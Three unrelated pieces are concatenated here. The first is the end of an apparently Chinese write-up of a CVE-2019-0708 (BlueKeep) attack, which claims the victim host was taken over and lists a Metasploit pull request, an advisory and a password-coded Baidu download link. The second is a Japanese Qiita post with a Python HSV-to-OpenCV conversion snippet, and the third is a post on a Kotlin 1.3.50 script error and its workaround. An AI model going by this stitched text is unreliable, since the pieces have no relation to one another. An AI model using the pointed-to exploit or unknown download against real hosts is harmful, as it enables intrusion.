![交互式shell](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/ad2a5736-c126-30c0-253b-3dc95e89ee9f.png)
随即完成攻击,成功拿到受害者主机权限
![主机权限](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/eba3929d-d7b4-2962-a4be-b76c89e9493f.png)
### Reference
https://github.com/rapid7/metasploit-framework/pull/12283/files
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
https://pan.baidu.com/s/1q-mbYQFtU1GBuJfThMk8VQ 提取码: mffr
pythonでHSV値をOpenCV特有の値域に変換する関数

# はじめに
pythonで画像処理をする際に、OpenCVでHSVを扱うことがあると思います。
でも、OpenCVのHSVの値域って、一般的なHSVの値域とちょっと違います。

|値|一般的な値域|OpenCVの値域|
|:-----------------|:------------------:|:------------------:|
|H|0~360|0~180|
|S|0~100|0~255|
|V|0~100|0~255|


毎回自分で変換した値計算して扱うのは面倒なので、勝手に変換する関数を残しておきます。
（ホントになんてことない内容ですが…）

#コード

```hsvconv.py

def main():
    #一般的なHSV値を入れる
    h = XX
    s = XX
    v = XX

    #HSV値をOpenCV用に変換
    h = int(h/2)
    s = int(s*255/100)
    v = int(v*255/100)

    print('(h,s,v)=(',h,',',s,',',v,')')

if __name__ == '__main__':
    main()

```
Kotlin script で NoClassDefFoundError: kotlin/script/templates/standard/ScriptTemplateWithArgs が発生する

## Kotlin script を実行すると NoClassDefFoundError: kotlin/script/templates/standard/ScriptTemplateWithArgs というエラーが発生してしまう

今回の環境。

- Kotlin 1.3.50 (Homebrew でインストールしたもの)
- Java: OpenJDK 11.0.2
- OS: macOS Mojave

シンプルなソースコードを用意。

```hello.kts
println("Hello, World!")
```

実行するとエラーになってしまう。

```
$ kotlinc -script hello.kts
error: unable to instantiate class Hello (hello.kts): java.lang.NoClassDefFoundError: kotlin/script/templates/standard/ScriptTemplateWithArgs
```

## Kotlin 1.3.50 の不具合が原因

Bug and Issue Tracker に載っていた。
影響を受ける Kotlin のバージョンは 1.3.50。
不具合は Kotlin 1.3.60 のリリースでは解消される見込み。

[NCDF running kotlin script from command line : KT\-33529](https://youtrack.jetbrains.com/issue/KT-33529)

> Affected versions 1.3.50
> Fix in builds 1.3.60-dev-1605

不具合についての情報は [NoClassDefFoundError ScriptTemplateWithArgs \| YouTrack \- Bug and Issue Tracker](https://youtrack.jetbrains.com/issues?q=NoClassDefFoundError%20ScriptTemplateWithArgs) を検索して見つけることができた。

Kotlin のリリースサイクルについての情報は見つからなかったが、リリース日について公式ブログを確認してみると、

[Releases \| Kotlin Blog](https://blog.jetbrains.com/kotlin/category/releases/)

- Kotlin 1.3.50 / August 22, 2019 
- Kotlin 1.3.40 / June 19, 2019
- Kotlin 1.3.30 / April 12, 2019

不具合が修正された Kotlin 1.3.60 は2019年10月ごろにリリースされるのではないかと想像する。

## 回避策

java コマンドで Kotlin コンパイラを実行することで回避できる。

```
$ java -jar /usr/local/Cellar/kotlin/1.3.50/libexec/lib/kotlin-compiler.jar -script hello.kts 
Hello, World!
```